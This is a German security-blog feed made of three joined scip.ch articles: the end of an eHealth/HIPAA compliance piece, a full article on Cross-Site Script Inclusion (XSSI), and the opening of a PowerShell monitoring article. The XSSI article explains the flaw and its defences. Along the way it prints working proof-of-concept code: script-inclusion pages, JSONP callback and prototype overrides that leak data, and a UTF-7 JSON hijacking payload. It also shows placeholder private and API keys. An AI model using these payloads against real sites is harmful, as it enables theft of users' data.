    Eine Verletzung der Vorschriften kann erhebliche zivil- und strafrechtliche Folgen nach sich ziehen. Man sollte sich davor hüten, nur aus der ad-hoc Entstehung solcher US-Richtlinien, dem Fehlschluss zu verfallen, dass eine Richtlinienverletzung bzw. eine Datenschutzverletzung in den USA nur einem Bagatelldelikt gleich komme.

    Übersicht HIPAA Standard

    Die Hauptanforderungen von HIPAA sind unter 164-Sicherheit und Datenschutz erfasst. Zu den Top-Level-Abschnitten dieser Anforderung gehören (Auszug Part 164):

    Subpart Beschreibung
    102 Gesetzliche Grundlagen
    103 Definitionen
    104 Anwendbarkeit
    105 Organisatorische Anforderungen
    106 Beziehung zu Dritten
    306 Sicherheitsstandards: Allgemeine Regeln
    308(a)(1) Verwaltungssicherheit: Sicherheitsmanagementprozess: Verhindern, Erkennen, Eindämmen und Beheben von Sicherheitsverstössen
    308(a)(3) Sicherheit der Belegschaft
    308(a)(4) Informationszugriffsmanagement – Implementieren von Richtlinien und Verfahren für die Genehmigung von Zugriff auf elektronische geschützte Gesundheitsinformationen
    310 Physikalische Sicherheitsmassnahmen
    312 Technische Schutzmassnahmen
    312(a)(1) Zugriffskontrolle
    312(b) Audit-Kontrollen – Erfassen und Untersuchen von Aktivitäten in Informationssystemen, die elektronische geschützte Gesundheitsinformationen enthalten oder verwenden.
    314 Organisatorische Anforderungen
    316 Richtlinien und Verfahren sowie Dokumentations-Anforderungen
    316(b)(1) Dokumentation – Pflege von schriftlichen (möglicherweise elektronischen) Berichten über Aktionen, Massnahmen oder Bewertungen.
    502 Grundregeln: Verwendungen und Offenlegungen geschützter Gesundheitsinformationen
    504 Verwendungen und Offenlegung: Organisatorische Anforderungen
    506 Verwendungen und Offenlegung der Behandlungsdurchführung, Zahlung oder Gesundheitsfürsorge
    508 Verwendungen und Offenlegung, für die eine Genehmigung benötigt wird
    510 Verwendungen und Offenlegung, für die eine Zustimmung des Patienten nötig sind
    512 Verwendungen und Offenlegung, für die keine Zustimmung des Patienten nötig sind
    514 Andere Anforderungen an die Verwendung und Offenlegungen geschützter Gesundheitsinformationen
    520 Bekanntmachung der Datenschutzpraktiken für geschützte Gesundheitsinformationen
    522 Rechte auf Schutz der Privatsphäre für geschützte Gesundheitsinformationen
    524 Zugang von Personen, um Gesundheit Informationen zu schützen
    526 Änderung der geschützten Gesundheitsinformationen
    528 Logging and Tracking von Offenlegungen geschützter Gesundheitsinformationen
    530 Administrative Anforderungen
    532 Übergangsbestimmungen

    Im Folgenden werden die allerwichtigsten Massnahmen aufgeführt, die Unternehmen, die HIPAA unterliegen (Covered Entities), erfüllen müssen:

    • Bewertung der potenziellen Risiken und Schwachstellen
    • Schutz vor Bedrohungen der Informationssicherheit bezgl. Integrität und gegen unberechtigte Verwendung oder Veröffentlichung
    • Implementierung und Aufrechterhaltung adäquater Sicherheitsmassnahmen
    • Sicherstellung der Compliance durch alle Mitarbeitenden

    Die HIPAA Sicherheitsmassnahmen konzentrieren sich auf den Schutz Datenintegrität, Vertraulichkeit und Verfügbarkeit der einzeln identifizierbaren Gesundheitsinformationen (engl. EPHI, Electronic Personal Health Information):

    • Prozeduren und Dokumentation: Formale Verfahren, um Sicherheitsmassnahmen effizient zu verwalten
    • Physische Sicherheit: Schutz der Systeme und der entsprechenden Gebäude und Anlagen vor Gefahren und Einbruch
    • Technische Sicherheitsdienste: Prozesse zum Schutz und zur Überwachung der Zugriffe auf Informationen
    • Technische Sicherheitsmechanismen: Prozesse, die den unbefugten Zugriff auf Daten, auch über Netzwerke hinweg, verhindern.

    Parallelen zu anderen bekannten Standards (z.B. ISO)

    Dennoch hat auch ISO bereits Normen lanciert, die den spezifischeren Sicherheitsanforderungen im Gesundheitswesen explizit Rechnung tragen sollen. Zum Beispiel wurde ISO 27799 für IT-Sicherheit im Gesundheitswesen basierend auf ISO 27001 und 27002 – Leitfaden für das Informationssicherheits-Management etabliert.

    Standard Titel
    ISO 27799:2014 Medizinische Informatik – Informationsmanagement im Gesundheitswesen bei Verwendung der ISO/IEC 27002
    ISO 27789:2013 Medizinische Informatik – Audit-Trails für elektronische Gesundheitsakten
    ISO/TS 14265:2011 Medizinische Informatik – Klassifikation des Zwecks zur Verarbeitung von persönlichen Gesundheitsinformationen
    ISO/TS 17975:2015 Medizinische Informatik – Prinzipien und Datenanforderungen für die Einwilligung zur Erhebung, Verwendung oder Bekanntgabe von persönlichen Gesundheitsinformationen

    Diese Normen wurden entwickelt, weil eine Spezialisierung gerade für das hoch sensitive Gesundheitswesen mit spezifischen Anforderungen jenseits der traditionellen IT-Sicherheitssphären sinnvoll ist. Das Gesundheitswesen unterliegt einer starken Dynamik auf dem Gebiet der IT, auch weil viele Medizinalgeräte heute viel direkter an IT-Netzwerken angebunden werden und durch eine massiv erweiterte Zugänglichkeit gekennzeichnet sind.

    Viele Vorstösse der eHealth Entwicklungen bewirken, dass diverse Funktionen und Prozesse in ärztlichen Praxen, Spitälern und Kliniken und medizinischen Versorgungszentren digital durchgeführt und miteinander vernetzt werden und wie wir gesehen haben, besonders traditionelle Patientendossier und Aktenwesen sukzessive digitalisiert werden:

    • Einführung der elektronischen Patientendossiers und sukzessive Digitalisierung
    • Vollelektronische Abrechnung
    • Digitale Erfassung und Speicherung von durchgeführten Diagnosen, Behandlungen, Therapien
    • Digitale Übermittlung von Diagnosedaten, klinische Daten etc.
    • Digitale Speicherung, Übermittlung, Verarbeitung und Archivierung von Berichten und Bildaufzeichnungen
    • Vernetzung von bisher isolierten Systemen, PCs, Medizinalsystemen und Datenbanken
    • Regionale Vernetzung von Systemen (z.B. Kliniksystemen, Arztpraxen, Spitäler, Zentral- und Koridnationsstellen etc.)

    Wir haben gesehen, dass diese Entwicklungen in hohem Masse datenschutzrelevant sind. Unter diesem Blickwinkel scheint es äusserst sinnvoll, solche Mindeststandards als Common Sense zu etablieren.

    Damit ergeben sich auch für das Gesundheitswesen mit eHealth neue Aspekte der IT-Sicherheit. Trotz des breit angelegten Scopes und des brancheübergreifenden Charakters der ISO 27001 Familie, müssen die probaten Normen und Vorgaben hinsichtlich IT-Sicherheit auch die spezifische Ausprägung des Gesundheitswesens hin berücksichtigt und adaptiert werden.

    Daher ergibt sich für den Standard ISO 27799:2008 Medizinische Informatik – Sicherheitsmanagement im Gesundheitswesen, folgende Inhaltsstruktur und Gliederung. Kapitel 3, 5 und 7 sowie Anhang A und B wiederspiegeln Vorgaben, die spezifisch auf das Gesundheitswesen ausgerichtet sind:

    • 3 Begriffe
      • 3.1 Begriffe aus dem Gesundheitswesen
      • 3.2 Begriffe aus dem Bereich der
    • 5 Sicherheit von Gesundheitsinformationen
      • 5.4 Zu schützende Gesundheitsinformationen
      • 5.5 Bedrohungen und Schwachstellen der Sicherheit von Gesundheitsinformationen
    • 7 Folgerungen aus ISO 27002 für die Gesundheitsversorgung
      • 7.1 Allgemeines
      • 7.2 Leitlinie zur Informationssicherheit
      • 7.3 Organisation der Informationssicherheit
      • 7.4 Management organisationseigener Werte
      • 7.5 Personalsicherheit
      • 7.6 Physische und umgebungsbezogene Sicherheit
      • 7.7 Betriebs- und Kommunikationsmanagement
      • 7.8 Zugriffskontrolle
      • 7.9 Beschaffung, Entwicklung und Wartung von Informationssystemen
      • 7.10 Umgang mit Informationssicherheitsvorfällen
      • 7.11 Informationssicherheitsaspekte beim Management zur Aufrechterhaltung des Geschäftsbetriebs
      • 7.12 Einhaltung von Vorgaben
    • Anhang A (informativ) Bedrohungen der Sicherheit von Gesundheitsinformationen*
    • Anhang B (informativ) Aufgaben und zugehörige Dokumente des Informationssicherheits-Managementsystems

    Herausforderungen und Stossrichtungen von eHealth

    Obwohl die Datensicherheit in der eHealth Diskussion eine zentrale Rolle spielt und unter Experten derzeit breit und tief thematisiert wird, ist es auffällig, dass viele Leute, wenig über das Thema wissen. Dies gilt sowohl für Patienten, als auch für viele andere Akteure im Gesundheitswesen. Dass auf technischer, organisatorischer und normativer Ebene enorme Vorkehrungen getroffen werden, um die Datensicherheit zu erhöhen, nützt allein nicht viel, wenn der Informations- und Schulungsaspekt vernachlässigt wird.

    Datenschutzverletzungen zählen mitunter zu den bedeutendsten Sicherheitsproblemen in Unternehmen. Dies gilt mit der Einführung des elektronischen Patientendossiers nun umso mehr auch für Spitäler, Klinken, Arztpraxen etc. Infrastrukturprovider und IT-Dienstleister im Gesundheitswesen sollten daher kooperieren und einen soliden Mindeststandard definieren, den es kategorisch einzuhalten gilt.

    Denn nebst dem Nutzen werden auch die Herausforderungen in punkto Datensicherheit zunehmen und sich verschärfen, indem sich Daten zwischen den Netzwerken aller vorgesehenen Parteien frei bewegen werden. Dabei werden zukünftig wohl auch Technologien wie Cloud-Computing und Mobile-Computing (mHealth) zum Zuge kommen, die wiederum die Risikosituation verstärken.

    Denken wir weiter an den rasanten Fortschritt des Mobile-Health-Bereichs (Stichwort IoT, Internet of Things), kommen noch weitere Problemfelder hinzu, nämlich eine massive Zunahme der Datenmenge (Big Data), sowie die Notwendigkeit für rechtliche Bestimmungen, die eine Datenauswertungen (Data Mining) gemäss den rechtlichen und ethischen Normen ermöglichen (Verhinderung von Profiling etc.). Denn die Grundrechte auf den Schutz der eigenen Gesundheitsdaten gelten natürlich und besonders auch bei Massendatenverarbeitung.

    Des Weiteren müssen längerfristig auch im nationalen, europäischen und internationalen Kontext gemeinsame Interoperabilitätsnormen und -Verfahren etabliert werden, damit sich elektronische Gesundheitsdienste bei Bedarf und Notwendigkeit unter Einhaltung vereinbarter Mindestanforderungen und unter Aufrechterhaltung des Datenschutzes, zum Wohle des Patienten, über nationale Grenzen hinweg austauschen und miteinander kommunizieren können.

    Quellen

    Bundesamt für Gesundheit BAG
    Organisationen, Foren
    Eidgenössischer Datenschutz- und Öffentlichkeitsbeauftragter (EDÖB)
    Standards
    ]]>
    Cross-Site Script Inclusion - Ein unbekannter Schwachstellentyp http://www.scip.ch/?labs.20160414 http://www.scip.ch/?labs.20160414 Thu, 14 Apr 2016 00:00:00 +0200 Veit Hailperin Die OWASP Top 10 – die, laut dem Open Web Application Security Project, zehn häufigsten verbreitetsten Schwachstellen im Web – kennt fast jeder. Und wer sie nicht kennt, hat zumindest von den OWASP Top 10 gehört. Das ist gut, denn dadurch wurde in den vergangenen Jahren das Bewusstsein von sowohl Testern, Entwicklern als auch Kunden gestärkt. Allerdings hat die Liste auch eine Schattenseite: Nämlich alles, was nicht in eine der zehn Kategorien fällt, fällt unter den Tisch. Aber nur weil Schwachstellen nicht in den Top 10 sind, heisst es nicht, dass ihre Auswirkungen geringer sind. Eine Kategorie von Schwachstellen, die so ein Dasein fristet, ist Cross-Site Script Inclusion (XSSI). Dieser Artikel beschreibt, wie dieser Schwachstellentypus definiert ist, wie man ihn in einem Web Audit findet und wie man ihn ausnutzt.

    Hintergrund

    Zu Beginn werden wir die Begriffe Origin und Same-Origin Policy (SOP) klären. Wer sich damit gut auskennt, kann diesen Abschnitt guten Gewissens überspringen.

    Das Konzept Origin und der darauf basierende Sicherheitsmechanismus zur Isolation von Webinhalten, der Same-Origin Policy, wurde parallel zu JavaScript von Netscape eingeführt. Mit SOP wird definiert, wie Dokumente miteinander interagieren dürfen: Zwei Dokumente dürfen aufeinander zugreifen, wenn sie vom gleichen Origin (dt. Quelle) stammen. Sie stellt die Grundlage von Websecurity dar. Die Origin wird von den meisten Browsern als Port, Hostname und Protokoll definiert. Die Ausnahme bildet Microsoft Internet Explorer, der den Port nicht einbezieht. Dies hat natürlich seine eigenen (sicherheitstechnischen) Implikationen. Die folgende Tabelle stammt aus dem Dokument Same-origin policy der Mozilla Foundation und gibt eine Übersicht der meist verwendeten SOP am Beispiel der URL http://store.company.com/dir/page.html:

    URL Resultat Grund
    http://store.company.com/dir2/other.html Erfolg -
    http://store.company.com/dir/inner/another.html Erfolg -
    https://store.company.com/secure.html Fehler Anderes Protokoll
    http://store.company.com:81/dir/etc.html Fehler Anderer Port
    http://news.company.com/dir/other.html Fehler Anderer Host

    Da grundsätzlich keine Einigkeit darüber besteht, wie Dokumente miteinander agieren sollen dürfen, ist die Isolation von Inhalten ein buntes Wirrwarr. Ein kompletter Artikel widmet sich diesem Sachverhalt im Buch Tangled Web – Der Security-Leitfaden für Webentwickler von Security Researcher Michal Zalewski und dessen deutsche Übersetzung und Erweiterung von Cure53s Mario Heiderich.

    XSSI

    Cross-Site Script Inclusion (XSSI), zu Deutsch etwa Webseite-übergreifendes Einbinden von Skripten, ist eine Art von Schwachstelle, bei der ausgenutzt wird, dass die SOP beim Einbinden von Skripten mittels script nicht greift, da Script-Dateien per Definition cross-origin (dt. quellübergreifend) eingebunden werden können müssen. Ein Angreifer kann somit alles, was in einer Script-Datei steht, auslesen.

    Dies ist insbesondere spannend mit dynamischem JavaScript und wenn sogenannte Ambient-Authority Informationen wie Cookies zur Authentisierung verwendet werden. Sendet man eine Anfrage an die Seite, werden die Cookies, wie auch bei einem Cross-Site Request Forgery (CSRF), mitgeschickt. Erwähnt wird diese Schwachstelle in einer Fussnote in Tangled Web. Sebastian Lekies et al. haben diese Fussnote in ihrem Paper The Unexpected Dangers of Dynamic JavaScript ausgeführt.

    XSSI können, abhängig von den sensitiven Daten im Script, auf verschiedene Arten missbraucht werden. Sensitive Daten, welche man häufig sieht, sind detaillierte persönliche Informationen wie E-Mailadresse, Anschrift, Geburtsdatum etc., aber auch Tokens, Session IDs und andere Identifikatoren wie User ID. Die leichteste Art davon zu profitieren, ist zu überprüfen, ob ein Benutzer angemeldet ist (Login Oracle). Allerdings kann die gewonnene Information auch für Social Engineering Angriffe missbraucht werden oder man verwendet es für applikationsspezifische Attacken.

    Abgrenzung zu XSS und CSRF

    XSSI sind vom Namen her verwandt mit Cross-Site Scripting (XSS) und von der Beschreibung sind sie nahe an Cross-Site Request Forgery (CSRF). Die Gemeinsamkeit von XSS, CSRF und XSSI ist, dass alles drei Client-Attacken sind.

    Der Unterschied zu XSS ist einfach: Bei XSS wird eigener JavaScript-Code auf einer fremden Seite platziert. Bei einem XSSI wird fremder JavaScript Code in die eigene Webseite eingebunden. Oberflächlich sehen CSRF und XSSI ähnlich aus, da in beiden Fällen eine Anfrage an eine andere Domain geschickt und im Kontext eines angemeldeten Benutzers ausgeführt wird. Bei der Abgrenzung zu CSRF ist der entscheidende Unterschied das Ziel des Angriffs. Bei CSRF möchte man als Angreifer eine Aktion im Namen des Benutzers ausführen, wie z.B. bei einer Online Banking-Applikation eine Überweisung. Bei einem XSSI möchte man hingegen über die Origingrenze hinaus Daten abfliessen lassen, um anschliessend eine der oben aufgeführten Angriffe oder andere Attacken auszuführen.

    Suchen, Finden und Ausnutzen

    Bei der Suche nach XSSI müssen verschiedene Situationen unterschieden werden, die Ausnutzung dieser Verwundbarkeit ist teilweise ähnlich oder sogar gleich (analog zu Reflected-XSS und Stored-XSS). Wir unterscheiden vier Situationen:

    1. Statische JavaScript-Datei (Reguläre XSSI)
    2. Statische JavaScript-Datei, welche aber nur authentisiert erreichbar ist
    3. Dynamisches JavaScript
    4. Nicht JavaScript-Dateien
    Reguläre XSSI

    Als reguläre XSSI werden alle Fälle betrachtet, bei denen ein statisches Script bereits sensitive Daten beinhaltet. Im ersten Fall – sensiblen Daten in statischen JavaScript-Dateien – ist die Erkennung nur durch Lesen der Dateien möglich. Hat man allerdings eine solche Situation identifiziert, so kann man dies in den meisten Fällen sehr leicht ausnutzen. Wenn zum Beispiel der sensible Inhalt in einer globalen Variable steht (Beispiel aus der Praxis, Keys wurden ersetzt):

    var privateKey = "-----BEGIN RSA PRIVATE KEY-----\
    MIIEpQIBAAKCAQEAxaEY8URy0jFmIKn0s/WK6QS/DusEGRhP4Mc2OwblFQkKXHOs\
    XYfbVmUCySpWCTsPPiKwG2a7+3e5mq9AsjCGvHyyzNmdEMdXAcdrf45xPS/1yYFG\
    0v8xv6QIJnztMl18xWymaA5j2YGQieA/UNUJHJuvuvIMkZYkkeZlExszF2fRSMJH\
    FUjnFNiYt0R8agdndexvuxFApYG40Hy6BJWgKW3NxowV9XbHOaDvX+3Bal5tbtrM\
    IzqTptgldzMGs73bJ+7nUqyv7Dicbn1XD4j9XBYy+FOBhVagSztqMFpOFcfAK7Er\
    sorY0yWN6aBobtENBUPkeqGiHxBAQ42ki9QkUwIDAQABAoIBAQCThrBx2iDEW2/b\
    TkOG2vK5A3wEDNfgS8/FAbCv23PCgh8j6I1wvGu1UG4F8P6MoXO9dHN14PjOvQ7m\
    M5Dd82+A4K0wUfn3fnaqs0zByXkqrdSSeVh/RVTDtBUJdhQylqr/TR3ja2qKATf+\
    VFGva3gDzQwfR3SucSAXcZ9d5d37x4nzFRa8ogNxxkCUy1PYHqnIpB/4MsOL8f0S\
    F5LR+u/F67GKFzGZXyh1i/tgIHZCOvftmj2DLx/1EoZyiLSnMABt7XmztIqYXTJG\
    TnXi8ix4vkwUENfveZb9yKrdmrPGITi+f5FYDlyjeSXZYZqAGhSjI69juNn36gCa\
    6Idt7I3xAoGBAOenoayBlmGEsWDGL8/XuAUlsceGRSoQ/MrGqx7LSgvkROYDyAfE\
    Db8vfy6f/qf9OI1EHwzu8QYnwKh8D0zldz9xl9Fwx4k1EIcD2BjTiJMBBk0FeybO\
    sqe4UwGzJvsTmfhlhJ4zZYLi1wMmkt1q1sMm9gb55nfTUDH8lzWJE/mFAoGBANpm\
    DcmcaUsSXkbBbmHZiV07EW4BUBpleog6avcNOcdGcylvDs17IwG28toAtOiJqQ/F\
    qnOqkQ73QXU7HCcmvQoX/tyxJRg/SMO2xMkYeHA+OamMrLvKgbxGLPG5O9Cs8QMl\
    q944WOrNhSfBE+ghPz4mpBbAxOOw0SoUYwCd52H3AoGAQnTLo8J1UrqPbFTOyJB5\
    ITjkHHo/g0bmToHZ+3aUYn706Quyqc+rpepJUSXjF2xEefpN8hbmHD7xPSSB+yxl\
    HlVHGXWCOLF5cVI//zdIGewUU6o73zEy/Xyai4VKrIK+DA2LkxrphzfuOOArB8wr\
    mkamE/BDFqMPgZeWBWyyx0UCgYEAg9kqp7V6x6yeJ98tEXuv9w3q9ttqDZWIBOgn\
    nWBpqkl4yuHWMO0O9EELmdrlXKGG5BO0VMH7cuqIpQp7c5NqesaDwZ5cQ6go+KbF\
    ZJYWV8TpMNfRjEm0SwKerYvjdZaCpiC/AphH7fEHWzmwF+rCcHYJiAb2lnMvw1St\
    dDjf8H8CgYEA4US7hhi1B2RDSwmNGTTBlGpHqPN73gqx2uOb2VYQTSUA7//b3fkK\
    pHEXGUaEHxxtEstSOUgT5n1kvo+90x3AbqPg6vAN4TSvX7uYIWENicbutKgjEFJi\
    TpCpdZksy+sgh/W/h9T7pDH272szBDo6g1TIQMCgPiAt/2yFNWU6Hks=\
    -----END RSA PRIVATE KEY-----",
        keys = [
          { name: 'Key No 1', apiKey: '0c8aab23-2ab5-46c5-a0f2-e52ecf7d6ea8', privateKey: privateKey },
          { name: 'Key No 2', apiKey: '1e4b8312-f767-43eb-a16b-d44d3e471198', privateKey: privateKey }
        ];
    

    so kann man einfach die Datei in die eigene Seite einbinden und die Variable auslesen:

    <html>
      <head>
        <title>Regular XSSI</title>
        <script src="https://www.vulnerable-domain.tld/script.js"></script>
      </head>
      <body>
        <script>
          alert(JSON.stringify(keys[0]));
        </script>
      </body>
    </html>
    

    Der erste API key
    Der erste API key

    Dynamic-JavaScript-based-XSSI und Authenticated-JavaScript-XSSI

    Diese beiden Klassen haben verschiedene technische Hintergründe, welche aber für Tester irrelevant sind. Die Art sie zu finden und auszunutzen, ist nämlich angenehmerweise gleich. Hierfür habe ich ein Burp Plugin mit dem Namen DetectDynamicJS geschrieben. Dieses Plugin ist dafür gedacht, Web Application Penetration Tester während einer Analyse bei der Suche nach XSSI zu unterstützen.

    Alle Script-Dateien werden einem passive Scan unterzogen. Dieser fordert daraufhin das Script erneut an, diesmal ohne Cookies mitzuschicken. Die daraufhin erhaltene Datei wird mit dem Original verglichen und falls es Abweichungen gibt, werden diese als Finding mit Stufe Information im Target Tab aufgelistet. Der Grund für Information ist, dass dynamisches JavaScript nicht zwingend ein Sicherheitsrisiko darstellt. Dynamisches JavaScript zu verwenden hat mehrere gute Gründe wie z.B. Benutzerdaten zu verarbeiten, Service Bootstrapping, Setzen der notwendigen Variablen einer komplexen Applikation und Daten mit anderen Diensten teilen (z.B. Tracking).

    Das Finding
    Das Finding

    Damit das Plugin weiss, welche Dateien gescannt werden sollen und welche nicht, wird ein Filter eingesetzt. Dieser ist Gegenstand aktueller Forschung und wird kontinuierlich weiterentwickelt. Momentan überprüft der Filter die Dateiendung auf .js, .jsp und .json. An sich ist .json für ein Script keine gültige Dateiendung, aber das hält manche Webentwickler nicht davon ab, es zu missbrauchen.

    Damit auch solche Fälle abgedeckt werden, wird die Endung ebenfalls in der Liste geführt. Damit False Positives reduziert werden, wird bei der Originaldatei überprüft, ob das erste Zeichen ein { ist. Dies kann momentan keine gültige Script-Syntax sein. Überprüft wird auch der Content-Type-Header nach Strings wie javascript, jscript, ecmascript und json. Den nicht eingehaltenen Standards sei Dank. Auch verwendet der Filter Burp Suites eigene MimeType-Erkennungsmöglichkeiten. Falls script in dem stateMimeType oder dem inferredMimeType steht, wird es ebenfalls gescannt. Manche dieser Filter sind doppelt, aber die Erfahrung zeigt, dass Filterverschlankungskuren hin und wieder zu False Negatives führen. Damit die fehlerhafte Erkennungen zusätzlich eingeschränkt werden, wird bei der Originaldatei zusätzlich vorausgesetzt, dass der HTTP Response Code nicht aus der 300er Familie (Weiterleitungen, etc.) stammt. Die False Positives könnten weiter eingeschränkt werden, indem ein dritter Request geschickt wird.

    Markierte Abweichung im Original
    Markierte Abweichung im Original

    Exploiting

    XSSI kann in einem Kontext der Authentisierung weiterhin für das Stehlen von Keys etc. gebraucht werden. Die Möglichkeiten für Missbrauch sind in erster Linie durch die Kreativität der Entwickler begrenzt. Wir wollen hier ein paar klassische Fälle mit Beispielen aufzeigen, so dass sie leicht nachzuvollziehen sind.

    • Variablen lassen sich, wie oben gezeigt, leicht auslesen, wenn sie sich im Global Namespace befinden.
    • Funktionen in JavaScript zu überschreiben ist grundsätzlich selbst für JavaScript-Neulinge kein Kunststück. Auch das folgende Beispiel ist einem echten Beispiel entnommen. Die Webseite ruft die Benutzerdaten in der Profilseite mittels
    angular.callbacks._7({"status":STATUS,"body":{"demographics":{"email":......}}})
    

    auf. Um am die Informationen zu gelangen, muss die Funktion _7 überschrieben werden.

    <script>
          var angular = function () { return 1; };
          angular.callbacks = function () { return 1; };      
          angular.callbacks._7 = function (leaked) {
    	  alert(JSON.stringify(leaked));
          };  
    </script>
    <script src="https://site.tld/p?jsonp=angular.callbacks._7" type="text/javascript"></script>
    

    Das geleakte JSON
    Das geleakte JSON

    Dies funktioniert auch mit globalen Funktionen. In diesem Fall ist das Überschreiben der Funktion allerdings gar nicht notwendig. Eine einfachere Methode ist dem Callback eine eigene Methode zu übergeben.

    <script>
          leak = function (leaked) {
    	  alert(JSON.stringify(leaked));
          };  
    </script>
    <script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
    
    • Wenn Variablen nicht im Global Namespace sind, kann dies manchmal mit Prototype Tampering trotzdem ausgenutzt werden. Bei Prototype Tampering wird ausgenutzt, dass JavaScript bei der Interpretation die Prototype Chain durchläuft, um die aufgerufene Eigenschaft zu finden. Das folgende Beispiel aus dem Paper The Unexpected Dangers of Dynamic JavaScript, zeigt, wie durch Überschreiben einer relevanten Funktion des Prototypen von Array und Zugriff auf das Objekt mit this, auch eine nicht globale Variable geleakt werden kann.
    (function(){
      var arr = ["secret1", "secret2", "secret3"];
      // intents to slice out first entry
      var x = arr.slice(1);
      ...
    })();
    

    Die Funktion greift auf die slice Funktion des Typen Array zu. Ein Angreifer kann, wie vorgehend beschrieben, slice überschreiben und die Geheimnisse stehlen:

    Array.prototype.slice = function(){
      // leaks ["secret1", "secret2", "secret3"]
      sendToAttackerBackend(this);
    };
    

    Security Researcher Sebastian Lekies hat Anfang des Monats seine Sammlung an Beispielen auch noch erweitert. Man findet sie unter http://sebastian-lekies.de/leak/.

    NoScript-XSSI

    Takeshi Terada beschreibt in seinem Paper Identifier based XSSI attacks eine weitere Kategorie von XSSI. Ihm gelang es, Text aus Nicht-JavaScript-Dateien Cross-Origin abfliessen zu lassen, indem er u.a. CSV-Dateien als src im script-Tag einband und die eingelesenen Daten als Variablen- oder Funktionsnamen verwendete.

    Andere dokumentierte Angriffe gehen bis 2006 zurück. Jeremiah Grossmans Artikel Advanced Web Attack Techniques using GMail beschreibt ein XSSI, bei dem durch Überschreiben des Array Constructors, das komplette Adressbuch eines Google Kontos ausgelesen werden konnte.

    2007 schrieb Joe Walker den Artikel JSON is not as safe as people think it is. Darin zeigte er, dass auch JSON, welches in einem Array abgelegt wird, auf die gleiche Art gestohlen werden kann. Weitere Angriffe wurden beispielsweise durchgeführt, indem eigener Content in JSON eingeführt wurde.

    Gareth Heyes, Autor von Hackvertor, beschreibt in dem Artikel JSON Hijacking von 2011 einen Vektor, bei dem die Injection UTF-7 kodiertet war und damit aus der JSON-Struktur ausbrechen kann. Bei einem Schnelltest funktionierte der letzte Angriff von aktuellen Browsern nur in Microsoft Internet Explorer und Edge.

    JSON mit UTF-7:

    [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}]
    

    Verwendung in der Seite eines Angreifers

    <script src="http://site.tld/json-utf7.json" type="text/javascript" charset="UTF-7"></script>
    

    Schutz gegen XSSI

    Für Programmierer gilt: Grundsätzlich sollte es vermieden werden, sensitive Daten in JavaScript-Dateien unterzubringen. Dies gilt insbesondere für die Angriffe aus der Kategorie 1 bis 3. Kategorie 4 wird häufig browserseitig abgefangen. Aber auch da sollten Benutzereingaben, welche in JSON-Dateien gespeichert und daraus wieder ausgelesen werden, sauber gefiltert werden.

    Der Grossteil der Bugs, die im Paper von Takeshi Terada beschrieben wurden, sind gefixt. Allerdings existiert die Möglichkeit immer, dass neue, ähnliche Bugs gefunden werden. Diese können zumindest teilweise verhindert werden, indem die Browser dazu angehalten werden, nicht von alleine den Content-Type zu erraten. Manche Browser können per Response Header X-Content-Type-Options: nosniff angewiesen werden, dies zu unterlassen. Der X-Content-Type-Options-Header ist aber wie das x- unschwer verrät, bisher noch kein Standard. Ein CSV welches als Quelle für script angegeben wird, wird somit nicht als Script interpretiert. Ein korrekter Content-Type ist natürlich auch hilfreich beim Verhindern von XSSI.

    ]]>
    PowerShell Monitoring - Die Kontrolle zurück erlangen http://www.scip.ch/?labs.20160407 http://www.scip.ch/?labs.20160407 Thu, 07 Apr 2016 00:00:00 +0200 Michael Schneider PowerShell basierende Angriffe stellen seit jeher einen Alptraum für die IT-Sicherheit-Abteilung dar, da deren Ausführung kaum Spuren hinterlassen und diese auf einen beeindruckenden Umfang von Systemfunktionen zurückgreifen können. Es ist an der Zeit, dass die IT-Sicherheits-Abteilung ein Werkzeug erhält, um der Bedrohung Herr zu werden oder gar einen Schritt voraus zu sein.

    Ausgangslage

    Im Artikel PowerShell ♥ the Blue Team des Windows PowerShell Blogs stellt Microsoft neue Sicherheitsfunktionen der PowerShell Version 5.0 vor. Mit der Funktion Constrained PowerShell wird die Kontrolle mittels AppLocker verbessert. Wird AppLocker mit den Standardregeln im Allow Modus verwendet, erkennt dies PowerShell und setzt den Sprachmodus auf Constrained. Damit wird der Funktionsumfang reduziert und es sind nur noch Basis-Funktionen erlaubt. Als Resultat davon werden erweiterte Funktionen, wie unter anderem .NET Scripting oder die Interaktion mit COM-Objekten, nicht mehr ausgeführt. Diese Einschränkung dient als Schutz gegen Angriffstools, die diese Funktionen einsetzen und nun nicht mehr korrekt ausgeführt werden. Skripte, die hingegen explizit durch eine AppLocker Policy erlaubt werden, da diese signiert sind oder sich in einem vertrauenswürdigen Verzeichnis befinden, werden weiterhin im Full Mode betrieben. Diese Funktion vereinfacht das Blockieren von PowerShell enorm.

    Dennoch ist das Blocken von PowerShell nur schwer realisierbar und kann vermutlich nur in spezifischen Umgebungen wie auf einem Terminal-Server konsequent umgesetzt werden. Auf allen anderen Systemen wird die Ausführung von PowerShell weiterhin möglich sein oder muss bewusst zugelassen werden. Als Konsequenz dessen sollte getreu nach dem Motto In God we trust, all others we monitor eine Monitoring-Lösung zur Protokollierung und Auswertung von PowerShell-Aktivitäten implementiert werden.

    PowerShell-Aktivität aufzeichnen

    Mit der Version 3.0 des Windows Management Framework führte Microsoft die Gruppenrichtlinie-Einstellung Turn On Module Logging ein. Diese befindet sich unter Computer Configuration\Administrative Templates\Windows Components\Windows PowerShell. Wird sie aktiviert, werden PowerShell-Kommandos und -Module im Eventlog Microsoft-Windows-PowerShell/Operational protokolliert. Damit kann die Ausführung von PowerShell auf einem System analysiert und überwacht werden.

    In der Gruppenrichtlinie muss definiert werden, welche Module überhaupt protokolliert werden. Wenn nun sämtliche Module durch das Setzen der Wildcard-Einstellung * aufgezeichnet werden, dann führt dies zu einer grossen Menge an Einträgen. Das folgende Beispiel demonstriert dies eindrücklich. Die einmalige Ausführung des Scripts Invoke-Mimikatz, eine PowerShell-Adaption von Joe Bialek des Tools Mimikatz von Benjamin Delpy zur Extraktion von Windows Credentials, führt zu zirka 29’000 Einträgen im Eventlog, das dabei die Grösse von 56 MB erreicht. Eine Suche nach der Zeichenkette Mimikatz führt dann auch gleich zu 22’691 Treffern:

    PS C:\> Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" | Where { $_.Message -like "*Mimikatz*" } | Group-Object Eventid | Format-Table Count,Name
    
    Count Name
    ----- ----
    22691 800
    

